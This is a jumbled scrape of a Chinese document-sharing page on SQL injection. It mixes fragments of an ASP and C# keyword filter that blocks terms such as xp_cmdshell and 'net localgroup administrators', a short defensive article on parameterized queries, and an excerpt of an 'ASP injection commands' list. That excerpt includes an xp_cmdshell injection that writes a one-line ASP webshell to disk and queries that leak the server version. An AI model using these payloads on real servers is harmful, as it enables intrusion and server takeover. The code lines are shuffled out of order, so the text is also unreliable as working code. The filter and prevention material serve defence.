str_Regex += strBadChar[strBadChar.Length - 1] + ").*";
return str_Regex;
}
,"xp_cmdshell"
,"/add"
,"exec master.dbo.xp_cmdshell"
,"net localgroup administrators"};
//构造正则表达式
string str_Regex = ".*(";
ASP注入详细命令40条
ASP注⼊详细命令40条1、⽤^转义字符来写ASP(⼀句话⽊马)⽂件的⽅法:http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp2、显⽰SQL系统版本:http://192.168.1.5/display.aspkeyno=188 and 1=(select @@VERSION)/FullStory.aspid=1 and 1=convert(int,@@version)--Microsoft VBScript 编译器错误错误 '800a03f6'缺少 'End'/iisHelp/common/500-100.asp,⾏242Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int./display.asp,⾏173、在检测索尼中国的⽹站漏洞时,分明已经确定了漏洞存在却⽆法在这三种漏洞中找到对应的类型。
防止SQL注入攻击的有效方法
防止SQL注入攻击的有效方法如今,随着互联网技术的不断发展,网络安全问题也日益突出。
其中,SQL注入攻击就是一种非常危险的攻击方式。
SQL注入攻击的本质是通过对查询语句或存储过程输入数据的篡改,从而获取或修改数据库中的敏感信息。
如何有效地防止SQL注入攻击,是数据库安全管理的必要课题。
1. 数据库输入验证数据库输入验证是一种最基本的防止SQL注入攻击的有效方法。
在进行SQL查询过程中,应该对用户输入信息进行验证,并对输入信息以及相关操作进行严格控制。
对于某些敏感信息,例如用户名、密码等,应该采用加密、散列等方式进行处理,保证数据在传输过程中不被窃取。
2. 外部输入处理在进行SQL查询时,输入数据往往是取自外部的。
为了防止SQL注入攻击,需要对外部输入进行规范处理。
常见的处理方式包括:(1)使用参数化查询语句参数化查询语句是一种预编译的方式,它能够将查询语句和参数分离,从而有效地防止SQL注入攻击。
在使用参数化查询语句时,需要使用一些特定的API函数。
例如,在PHP中,可以使用PDO和mysqli扩展实现参数化查询语句:$pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');$stmt->execute(array('username' => $username, 'password' => $password));(2)使用编码过滤编码过滤是一种通过扫描用户输入的特殊字符,并将其转换为Unicode码的方式,从而防止SQL注入攻击。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
For XH_Xh=0 To Ubound(XH_Inf2)
If Instr(LCase(Request.Cookies(XH_Cookie)),XH_Inf2(XH_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('悟空你又胡闹了');</Script>"
Next
End If
'----------------------------------
'--------GET部份-------------------
If Request.QueryString<>"" Then
For Each XH_Get In Request.QueryString
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
'----------------------------------
%>
<%
XH_Inf = split(XH_In,"|")
XH_Inf2 = split(XH_In2,"|")
'--------POST部份------------------
If Request.Form<>"" Then
XH_In2 = "'|4000|exec|insert|select|delete%20from|update|count|chr|mid|master|truncate|char|declare|drop%20table|from|net%20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"
<%
'--------定义部份------------------
Dim XH_Post,XH_Get,XH_Cookie,XH_In,XH_Inf,XH_Xh,XH_Inf2,XH_In2
'自定义需要过滤的字串,用 "|" 分隔
XH_In = "'|4000|exec|insert|select|delete%20from|update|count|*|%|chr|mid|master|truncate|char|declare|drop%20table|from|net%20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"
Response.Write "非法操作!系统做了如下记录↓<br& "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.QueryString(XH_Get)),XH_Inf(XH_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('悟空你又胡闹了');</Script>"
Response.Write "提交方式:POST<br>"
Response.Write "提交参数:"&XH_Post&"<br>"
Response.Write "提交数据:"&Request.Form(XH_Post)
Response.End
End If
Next
Next
Next
End If
'----------------------------------
'--------COOKIE部份-------------------
If Request.Cookies<>"" Then
For Each XH_Cookie In Request.Cookies
Next
Next
End If
'----------------------------------
%> �
For Each XH_Post In Request.Form
For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.Form(XH_Post)),XH_Inf(XH_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('悟空你又胡闹了');</Script>"
Response.Write "提交方式:Cookie<br>"
Response.Write "提交参数:"&XH_Cookie&"<br>"
Response.Write "提交数据:"&Request.Cookies(XH_Cookie)
Response.End
End If
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&XH_Get&"<br>"
Response.Write "提交数据:"&Request.QueryString(XH_Get)
Response.End
End If
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"